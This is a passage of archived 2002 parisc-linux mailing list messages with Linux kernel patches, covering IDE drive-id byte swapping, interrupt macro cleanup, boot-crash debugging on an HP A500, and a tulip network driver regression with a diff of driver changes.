+#define T_TEXT          (0xc000)        /* text:  12 -> 21     */
+
+#define T_MASK_TYPE     (0xc000)
+#define T_MASK_COUNT    (0x3fff)
+
+#define D_CHAR(cnt)     (T_CHAR  | (cnt))
+#define D_SHORT(cnt)    (T_SHORT | (cnt))
+#define D_INT(cnt)      (T_INT   | (cnt))
+#define D_TEXT(cnt)     (T_TEXT  | (cnt))
+
+static u_short driveid_types[] =3D {
+	D_SHORT(10),	/* config - vendor2 */
+	D_TEXT(20),	/* serial_no */
+	D_SHORT(3),	/* buf_type - ecc_bytes */
+	D_TEXT(48),	/* fw_rev - model */
+	D_CHAR(2),	/* max_multsect - vendor3 */
+	D_SHORT(1),	/* dword_io */
+	D_CHAR(2),	/* vendor4 - capability */
+	D_SHORT(1),	/* reserved50 */
+	D_CHAR(4),	/* vendor5 - tDMA */
+	D_SHORT(4),	/* field_valid - cur_sectors */
+	D_INT(1),	/* cur_capacity */
+	D_CHAR(2),	/* multsect - multsect_valid */
+	D_INT(1),	/* lba_capacity */
+	D_SHORT(194)	/* dma_1word - reservedyy */
+};
+
+#define num_driveid_types       (sizeof(driveid_types)/sizeof(*driveid_t=
ypes))
+
+static __inline__ void ide_fix_driveid(struct hd_driveid *id)
+{
+	u_char *p =3D (u_char *)id;
+	int i, j, cnt;
+	u_char t;
+
+	for (i =3D 0; i < num_driveid_types; i++) {
+		cnt =3D driveid_types[i] & T_MASK_COUNT;
+		switch (driveid_types[i] & T_MASK_TYPE) {
+		case T_CHAR:
+			p +=3D cnt;
+			break;
+		case T_SHORT:
+			for (j =3D 0; j < cnt; j++) {
+				t =3D p[0];
+				p[0] =3D p[1];
+				p[1] =3D t;
+				p +=3D 2;
+			}
+			break;
+		case T_INT:
+			for (j =3D 0; j < cnt; j++) {
+				t =3D p[0];
+				p[0] =3D p[3];
+				p[3] =3D t;
+				t =3D p[1];
+				p[1] =3D p[2];
+				p[2] =3D t;
+				p +=3D 4;
+			}
+			break;
+		case T_TEXT:
+			for (j =3D 0; j < cnt; j +=3D 2) {
+				t =3D p[0];
+				p[0] =3D p[1];
+				p[1] =3D t;
+				p +=3D 2;
+			}
+			break;
+		};
+	}
+}
+
+/*
+ * The following are not needed for the non-m68k ports
  */
+#define ide_ack_intr(hwif)		(1)
+#define ide_release_lock(lock)		do {} while (0)
+#define ide_get_lock(lock, hdlr, data)	do {} while (0)
 
 #endif /* __KERNEL__ */
 
diff -NaurwbBX /Develop/Kernel-Linux/dontdiff linux-2.4.21-pre1-pa14-alph=
a/include/asm-parisc/system.h
linux-2.4.21-pre1-pa14-beta/include/asm-parisc/system.h
--- linux-2.4.21-pre1-pa14-alpha/include/asm-parisc/system.h	2002-12-13
13:58:36.000000000 +0100
+++ linux-2.4.21-pre1-pa14-beta/include/asm-parisc/system.h	2002-12-15 15=
:34:01.000000000
+0100
@@ -66,8 +66,6 @@
 #define sti() __global_sti()
 #define save_flags(x) ((x)=3D__global_save_flags())
 #define restore_flags(x) __global_restore_flags(x)
-#define save_and_cli(x) do { save_flags(x); cli(); } while(0);
-#define save_and_sti(x) do { save_flags(x); sti(); } while(0);
 
 #else
 
@@ -75,8 +73,6 @@
 #define sti() __sti()
 #define save_flags(x) __save_flags(x)
 #define restore_flags(x) __restore_flags(x)
-#define save_and_cli(x) __save_and_cli(x)
-#define save_and_sti(x) __save_and_sti(x)
 
 #endif
 
diff -NaurwbBX /Develop/Kernel-Linux/dontdiff linux-2.4.21-pre1-pa14-alph=
a/include/asm-parisc/system_irqsave.h
linux-2.4.21-pre1-pa14-beta/include/asm-parisc/system_irqsave.h
--- linux-2.4.21-pre1-pa14-alpha/include/asm-parisc/system_irqsave.h	2002=
-12-12
16:12:02.000000000 +0100
+++ linux-2.4.21-pre1-pa14-beta/include/asm-parisc/system_irqsave.h	2002-=
12-15
15:34:01.000000000 +0100
@@ -7,21 +7,10 @@
 #define __cli()	__asm__ __volatile__("rsm %0,%%r0\n" : : "i" (PSW_I) :
"memory" )
 #define __sti()	__asm__ __volatile__("ssm %0,%%r0\n" : : "i" (PSW_I) :
"memory" )
 
-#define __save_and_cli(x)  do { __save_flags(x); __cli(); } while(0);
-#define __save_and_sti(x)  do { __save_flags(x); __sti(); } while(0);
-
-/* For spinlocks etc */
-#if 0
 #define local_irq_save(x) \
 	__asm__ __volatile__("rsm %1,%0" : "=3Dr" (x) :"i" (PSW_I) : "memory" )=

-#define local_irq_set(x) \
-#       "Warning local_irq_set(x) is not yet defined"
-#else
-#define local_irq_save(x)  __save_and_cli(x)
-#define local_irq_set(x)   __save_and_sti(x)
-#endif

From - Thu Nov 08 21:25:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa14 64bit crash on boot - A500-5X
Date: Mon, 16 Dec 2002 23:28:08 +0100
Organization: ESIEE
Lines: 134
Approved: news@gmane.org
Message-ID: <20021216232808.1fe41efc.varenet@esiee.fr>
References: <20021213132838.F044D49C55@mail.esiee.fr>
	<20021213233540.503b16d3.varenet@esiee.fr>
	<20021215035359.GA18647@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622031 18753 80.91.229.3 (22 Nov 2014 02:07:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 16 15:28:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e146.dhcp212-198-142.noos.fr [212.198.142.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id E6AE8482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Dec 2002 15:28:24 -0700 (MST)
Original-Received: from Tatooine (varenet@Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.1) with SMTP id gBGMSBas027422;
	Mon, 16 Dec 2002 23:28:14 +0100
In-Reply-To: <20021215035359.GA18647@dsl2.external.hp.com>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17129

On Sat, 14 Dec 2002 20:53:59 -0700
"Grant Grundler" <grundler@dsl2.external.hp.com> wrote:

> On Fri, Dec 13, 2002 at 11:35:40PM +0100, Thibaut VARENE wrote:
> > AOUT: 0x10143bd4 mod_timer+3c
> ...
> > AOUT: 0x10538b48 hp_diva_timer+0
> 
> Good News: I reproduced this and fixed it.
> But I don't know exactly what I did that fixed it. :^(
> (drawbacks of the shotgun approach).
> Fairly small patch is on ftp.parisc-linux.org/patches/diff-2.4.20-timer
> This isn't ready to commit until someone narrows it down to one thing.
> 
> Bad News: SMP kernel now hangs during SCSI device discover.
> I haven't tried CONFIG_SMP=n yet and I guess that would be a next step.
> Console output of the a500-44 boot with 2.4.20-pa14 + patch is on
> 	dsl2.e.h.c:~grundler/rp2470-2.4.20-symhang-01
With CONFIG_SMP=y, here is what happens upon boot:

SMP: Total 2 of 2 processors activated (2195.46 BogoMIPS noticed).
Waiting on wait_init_idle (map = 0x2)
All processors have done init_idle
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch support not available.
Performance monitoring counters enabled for Crescend

Some investigation provided the following (after TOC/SER PIM) CPU0:
IAOQ = 0x0000000010144f1c
Func: timer_bh, Off: 1a4, Addr: 0x10144f1c
    10144f10:	52 d3 0d f0 	ldd 6f8(r22),r19
    10144f14:	08 01 02 57 	copy r1,r23
    10144f18:	0e 60 10 94 	ldw 0(sr0,r19),r20
    10144f1c:	2b 61 20 00 	addil 3000,dp,%r1
    10144ff4:	e8 1f 1e 2d 	b,l 10144f10 <timer_bh+0x198>,r0

GR1 = 000000001047ae00
Func: __gp, Off: a000, Addr: 0x1047ae00

GR2 = 0000000010144fd8
Func: timer_bh, Off: 260, Addr: 0x10144fd8
    10144fd0:	eb df bc 81 	b,l 10103e18 <spin_lock>,%r2
    10144fd4:	08 13 02 5a 	copy r19,r26
    10144fd8:	08 0e 02 5b 	copy r14,dp
    10144fdc:	2b 65 00 00 	addil a000,dp,%r1

GR6 = 0000000010540b48
Func: hp_diva_timer, Off: 0, Addr: 0x10540b48

GR14 = 0000000010470e00
Func: __gp, Off: 0, Addr: 0x10470e00

GR18 = 0000000010540898
Func: serial_driver, Off: 0, Addr: 0x10540898

GR19 = 0000000010520e48
Func: tv1, Off: 0, Addr: 0x10520e48

GR26 = 00000000103e37c0
Func: timerlist_lock, Off: 0, Addr: 0x103e37c0

on a second try it went up to:

Performance monitoring counters enabled for Crescendo 550
Starting kswapd
Journalled Block Device driver loaded
Installing knfsd (copyright (C) 1996 o

Now the UP try:

went up to:

Performance monitoring counters enabled for Crescendo 550
Starting kswapd
Journalled Block Device driver loaded
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled

Investigation showed that:

IAOQ = 0x000000001021210c
Func: hp_diva_check, Off: ec, Addr: 0x1021210c
    10212100:	eb 94 be 61 	b,l 1013b038 <add_timer>,%r2
    10212104:	08 15 02 5a 	copy r21,r26
    10212108:	08 03 02 5b 	copy r3,dp
    1021210c:	53 c2 3e e1 	ldd -90(sp),rp

GR0 = 0000000000000000

GR1 = 000000001045df70
Func: timer_jiffies, Off: 0, Addr: 0x1045df70

GR2 = 0000000010212108
Func: hp_diva_check, Off: e8, Addr: 0x10212108
    10212100:	eb 94 be 61 	b,l 1013b038 <add_timer>,%r2
    10212104:	08 15 02 5a 	copy r21,r26
    10212108:	08 03 02 5b 	copy r3,dp
    1021210c:	53 c2 3e e1 	ldd -90(sp),rp

GR3 = 00000000103bd2a0
Func: __gp, Off: 0, Addr: 0x103bd2a0

GR6 = 0000000010472df8
Func: hp_diva_timer, Off: 0, Addr: 0x10472df8

GR18 = 0000000010472b48
Func: serial_driver, Off: 0, Addr: 0x10472b48

GR19 = 000000001045df68
Func: run_timer_list_running, Off: 0, Addr: 0x1045df68

GR20 = 0000000000001e11

GR21 = 000000001045df68
Func: run_timer_list_running, Off: 0, Addr: 0x1045df68

GR26 = 0000000010472df8
Func: hp_diva_timer, Off: 0, Addr: 0x10472df8

I think that the patch is quite wrong somehow...

Will investigate further tomorrow.


HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:25:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Mon, 16 Dec 2002 16:11:32 -0700
Lines: 79
Approved: news@gmane.org
Message-ID: <20021216231132.GC854@dsl2.external.hp.com>
References: <20021216064512.GA1983@darkmist.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622031 18755 80.91.229.3 (22 Nov 2014 02:07:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ed Schaller <schallee@darkmist.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 16 16:11:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 1EBBF482E; Mon, 16 Dec 2002 16:11:32 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20021216064512.GA1983@darkmist.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17130

On Sun, Dec 15, 2002 at 11:45:12PM -0700, Ed Schaller wrote:
> I have a B180 that I have been using as a firewall/router for some time
> now. Along with the built in tulip ethernet card, I also have a Adaptec
> quad ethernet card that is also tulip based. This has worked fine in
> 2.4.17-2.4.19 but no longer works in 2.4.20-pa13. Although I can
> ifconfig up the interfaces, no traffic goes through and mii-tool reports
> that the interfaces do not exist (except for the built in one).

I've looked a bit at the same problem on A500 with
a regular (single port) HP tulip card.

> In the following dmesg out takes for 2.4.20-pa13 and 2.4.19-32 (debian),
> it seems that the older kernel is finding the transceiver and
> successfully auto-negotiating the link while the newer is not.

yeah - same symptom that I saw.

> Any ideas how to solve this? Any help would be greatly appreciated.

I suspect it's a tulip driver bug.
I haven't had a chance to diff the 2.4.19 vs 2.4.20 tulip driver.
One idea might be to "forward port" the 2.4.19 drivers/net/tulip code
into 2.4.20.

thanks for the report,
grant

> Linux version 2.4.20-pa13 (root@landmine) (gcc version 3.0.4) #3 Tue Dec 10 01:35:34 MST 2002
> ...
> Linux Tulip driver version 0.9.15-pre12 (Aug 9, 2002)
> tulip0: no phy info, aborting mtable build
> tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
> eth0: Digital DS21143 Tulip rev 48 at 0xf0fff000, 00:60:B0:C4:5E:7B, IRQ 96.
> eth1: Digital DS21140 Tulip rev 34 at 0xf0efc000, 00:00:D1:1B:C8:90, IRQ 98.
> eth2: Digital DS21140 Tulip rev 34 at 0xf0efd000, 00:00:D1:1B:C8:B5, IRQ 99.
> eth3: Digital DS21140 Tulip rev 34 at 0xf0efe000, 00:00:D1:1B:C8:95, IRQ 96.
> eth4: Digital DS21140 Tulip rev 34 at 0xf0eff000, 00:00:D1:1B:70:33, IRQ 97.
> ...until ifconfig eth0-eth4
> eth0: Setting full-duplex based on MII#1 link partner capability of 45e1.
> 
> Linux version 2.4.19-32 (root@j5k) (gcc version 3.0.4) #1 Fri Nov 22 23:27:00 MST 2002
> ...
> Linux Tulip driver version 0.9.15-pre11 (May 11, 2002)
> tulip0: no phy info, aborting mtable build
> tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
> eth0: Digital DS21143 Tulip rev 48 at 0xff00, 00:60:B0:C4:5E:7B, IRQ 96.
> tulip1:  EEPROM default media type Autosense.
> tulip1:  Index #0 - Media MII (#11) described by a 21140 MII PHY (1) block.
> tulip1:  MII transceiver #1 config 3100 status 7849 advertising 01e1.
> eth1: Digital DS21140 Tulip rev 34 at 0xec00, 00:00:D1:1B:C8:90, IRQ 98.
> tulip2:  EEPROM default media type Autosense.
> tulip2:  Index #0 - Media MII (#11) described by a 21140 MII PHY (1) block.
> tulip2:  MII transceiver #1 config 3100 status 7849 advertising 01e1.
> eth2: Digital DS21140 Tulip rev 34 at 0xed00, 00:00:D1:1B:C8:B5, IRQ 99.
> tulip3:  EEPROM default media type Autosense.
> tulip3:  Index #0 - Media MII (#11) described by a 21140 MII PHY (1) block.
> tulip3:  MII transceiver #1 config 3100 status 7849 advertising 01e1.
> eth3: Digital DS21140 Tulip rev 34 at 0xee00, 00:00:D1:1B:C8:95, IRQ 96.
> tulip4:  EEPROM default media type Autosense.
> tulip4:  Index #0 - Media MII (#11) described by a 21140 MII PHY (1) block.
> tulip4:  MII transceiver #1 config 3100 status 7849 advertising 01e1.
> eth4: Digital DS21140 Tulip rev 34 at 0xef00, 00:00:D1:1B:70:33, IRQ 97.
> ...until ifconfig eth0-eth4
> eth0: Setting full-duplex based on MII#1 link partner capability of 45e1.
> eth1: Setting full-duplex based on MII#1 link partner capability of 45e1.
> eth2: Setting full-duplex based on MII#1 link partner capability of 45e1.
> eth3: Setting full-duplex based on MII#1 link partner capability of 41e1.
> eth4: Setting full-duplex based on MII#1 link partner capability of 41e1.
> 
> >>>------>
> 
> --
> 
> +-------------+-----------------------+---------------+
> | Ed Schaller | Dark Mist Networking  | psuedoshroom  |
> +-------------+-----------------------+---------------+




From - Thu Nov 08 21:25:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Is this system_irqsave diff is correct?
Date: Mon, 16 Dec 2002 16:47:01 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20021216234701.GE854@dsl2.external.hp.com>
References: <3DFC7EFA.9040708@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622031 18758 80.91.229.3 (22 Nov 2014 02:07:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 16 16:47:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id BBEF6482E; Mon, 16 Dec 2002 16:47:01 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3DFC7EFA.9040708@freebel.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17131

On Sun, Dec 15, 2002 at 01:09:14PM +0000, Joel Soete wrote:
> is this  diff is right:
> -#define local_irq_restore(x) \
> -       __asm__ __volatile__("mtsm %0" : : "r" (x) : "memory" )
> +#define local_irq_restore(x) __restore_flags(x)

Yes - those seem the be the same.

grant


From - Thu Nov 08 21:25:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Tue, 17 Dec 2002 08:12:03 +0100
Lines: 288
Approved: news@gmane.org
Message-ID: <3DED9BBD0000213A@ocpmta7.freegates.net>
References: <20021216231132.GC854@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=========3DED9BBD0000213A/mail.tiscali.be"
X-Trace: ger.gmane.org 1416622032 18761 80.91.229.3 (22 Nov 2014 02:07:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com,
	"Ed Schaller" <schallee@darkmist.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 17 00:12:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26987482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Dec 2002 00:12:52 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18OBuF-0003Ro-00; Tue, 17 Dec 2002 08:12:43 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 17 Dec 2002 07:12:03 +0000
In-Reply-To: <20021216231132.GC854@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17132

--=========3DED9BBD0000213A/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

>
>I suspect it's a tulip driver bug.
>I haven't had a chance to diff the 2.4.19 vs 2.4.20 tulip driver.
>One idea might be to "forward port" the 2.4.19 drivers/net/tulip code
>into 2.4.20.
>
Just to avoid you loose time here is a diff:
diff -NaurX dontdiff linux-2.4.19-pa24/drivers/net/tulip/ChangeLog linux-=
2.4.20-pa14/drivers/net/tulip/ChangeLog
--- linux-2.4.19-pa24/drivers/net/tulip/ChangeLog	2002-08-03 02:39:44.000=
000000
+0200
+++ linux-2.4.20-pa14/drivers/net/tulip/ChangeLog	2002-11-18 09:09:41.000=
000000
+0100
@@ -1,3 +1,14 @@
+2002-09-18  Ryan Bradetich  <rbradetich@uswest.net>
+
+	tulip hppa support:
+	* eeprom.c (tulip_build_fake_mediatable): new function
+	(tulip_parse_eeprom): call it, when no media table
+	* interrupt.c (phy_interrupt): new function
+	(tulip_interrupt): call it, before checking for no-irq-work
+	* tulip.c: add HAS_PHY_IRQ chip feature flag.
+	add csr12_shadow to tulip_private struct, only for hppa currently.
+	* tulip_core (tulip_init_one): support hppa wonky eeproms
+
 2002-05-11  Juan Quintela  <quintela@mandrakesoft.com>
 
 	* 21142.c (t21142_lnk_change): Revert earlier patch
diff -NaurX dontdiff linux-2.4.19-pa24/drivers/net/tulip/eeprom.c linux-2=
.4.20-pa14/drivers/net/tulip/eeprom.c
--- linux-2.4.19-pa24/drivers/net/tulip/eeprom.c	2002-11-28 12:41:36.0000=
00000
+0100
+++ linux-2.4.20-pa14/drivers/net/tulip/eeprom.c	2002-11-18 09:09:41.0000=
00000
+0100
@@ -190,7 +190,7 @@
 	}
 subsequent_board:
 
-	if (ee_data[27] =3D=3D 0) {		/* No valid media table. */
+	if (ee_data[27] =3D=3D 0 || ee_data[ee_data[27]] =3D=3D 0) {  /* No val=
id media
table. */
 		tulip_build_fake_mediatable(tp);
 	} else if (tp->chip_id =3D=3D DC21041) {
 		unsigned char *p =3D (void *)ee_data + ee_data[27 + controller_index*3=
];
diff -NaurX dontdiff linux-2.4.19-pa24/drivers/net/tulip/tulip.h linux-2.=
4.20-pa14/drivers/net/tulip/tulip.h
--- linux-2.4.19-pa24/drivers/net/tulip/tulip.h	2002-11-28 12:41:36.00000=
0000
+0100
+++ linux-2.4.20-pa14/drivers/net/tulip/tulip.h	2002-11-18 09:09:41.00000=
0000
+0100
@@ -63,7 +63,7 @@
 	HAS_8023X		=3D 0x0400,
 	COMET_MAC_ADDR		=3D 0x0800,
 	HAS_PCI_MWI		=3D 0x1000,
-        HAS_PHY_IRQ             =3D 0x2000,
+	HAS_PHY_IRQ		=3D 0x2000,
 };
 
 
@@ -85,6 +85,7 @@
 	COMPEX9881,
 	I21145,
 	DM910X,
+	CONEXANT,
 };
 
 
diff -NaurX dontdiff linux-2.4.19-pa24/drivers/net/tulip/tulip_core.c lin=
ux-2.4.20-pa14/drivers/net/tulip/tulip_core.c
--- linux-2.4.19-pa24/drivers/net/tulip/tulip_core.c	2002-11-28 12:41:36.=
000000000
+0100
+++ linux-2.4.20-pa14/drivers/net/tulip/tulip_core.c	2002-11-18 09:09:41.=
000000000
+0100
@@ -15,8 +15,8 @@
 */
 
 #define DRV_NAME	"tulip"
-#define DRV_VERSION	"0.9.15-pre11"
-#define DRV_RELDATE	"May 11, 2002"
+#define DRV_VERSION	"0.9.15-pre12"
+#define DRV_RELDATE	"Aug 9, 2002"
 
 #include <linux/config.h>
 #include <linux/module.h>
@@ -191,6 +191,10 @@
   { "Davicom DM9102/DM9102A", 128, 0x0001ebef,
 	HAS_MII | HAS_MEDIA_TABLE | CSR12_IN_SROM | HAS_ACPI,
 	tulip_timer },
+
+  /* CONEXANT */
+  {	"Conexant LANfinity", 256, 0x0001ebef,
+	HAS_MII, tulip_timer },
 };
 
 
@@ -214,6 +218,7 @@
 	{ 0x13D1, 0xAB08, PCI_ANY_ID, PCI_ANY_ID, 0, 0, COMET },
 	{ 0x104A, 0x0981, PCI_ANY_ID, PCI_ANY_ID, 0, 0, COMET },
 	{ 0x104A, 0x2774, PCI_ANY_ID, PCI_ANY_ID, 0, 0, COMET },
+	{ 0x1259, 0xa120, PCI_ANY_ID, PCI_ANY_ID, 0, 0, COMET },
 	{ 0x11F6, 0x9881, PCI_ANY_ID, PCI_ANY_ID, 0, 0, COMPEX9881 },
 	{ 0x8086, 0x0039, PCI_ANY_ID, PCI_ANY_ID, 0, 0, I21145 },
 	{ 0x1282, 0x9100, PCI_ANY_ID, PCI_ANY_ID, 0, 0, DM910X },
@@ -221,6 +226,10 @@
 	{ 0x1113, 0x1216, PCI_ANY_ID, PCI_ANY_ID, 0, 0, COMET },
 	{ 0x1113, 0x1217, PCI_ANY_ID, PCI_ANY_ID, 0, 0, MX98715 },
 	{ 0x1113, 0x9511, PCI_ANY_ID, PCI_ANY_ID, 0, 0, COMET },
+	{ 0x1186, 0x1561, PCI_ANY_ID, PCI_ANY_ID, 0, 0, COMET },
+	{ 0x1626, 0x8410, PCI_ANY_ID, PCI_ANY_ID, 0, 0, COMET },
+	{ 0x1737, 0xAB09, PCI_ANY_ID, PCI_ANY_ID, 0, 0, COMET },
+	{ 0x14f1, 0x1803, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CONEXANT },
 	{ } /* terminate list */
 };
 MODULE_DEVICE_TABLE(pci, tulip_pci_tbl);
@@ -453,7 +462,7 @@
 		tp->csr6 =3D 0x01a80200;
 		outl(0x0f370000 | inw(ioaddr + 0x80), ioaddr + 0x80);
 		outl(0x11000 | inw(ioaddr + 0xa0), ioaddr + 0xa0);
-	} else if (tp->chip_id =3D=3D COMET) {
+	} else if (tp->chip_id =3D=3D COMET || tp->chip_id =3D=3D CONEXANT) {
 		/* Enable automatic Tx underrun recovery. */
 		outl(inl(ioaddr + 0x88) | 1, ioaddr + 0x88);
 		dev->if_port =3D tp->mii_cnt ? 11 : 0;
@@ -1474,7 +1483,6 @@
 	tp->timer.function =3D tulip_tbl[tp->chip_id].media_timer;
 
 	dev->base_addr =3D ioaddr;
-	dev->irq =3D irq;
 
 #ifdef CONFIG_TULIP_MWI
 	if (!force_csr0 && (tp->flags & HAS_PCI_MWI))
@@ -1548,7 +1556,13 @@
 		for (i =3D 0; i < 8; i ++)
 			if (ee_data[i] !=3D ee_data[16+i])
 				sa_offset =3D 20;
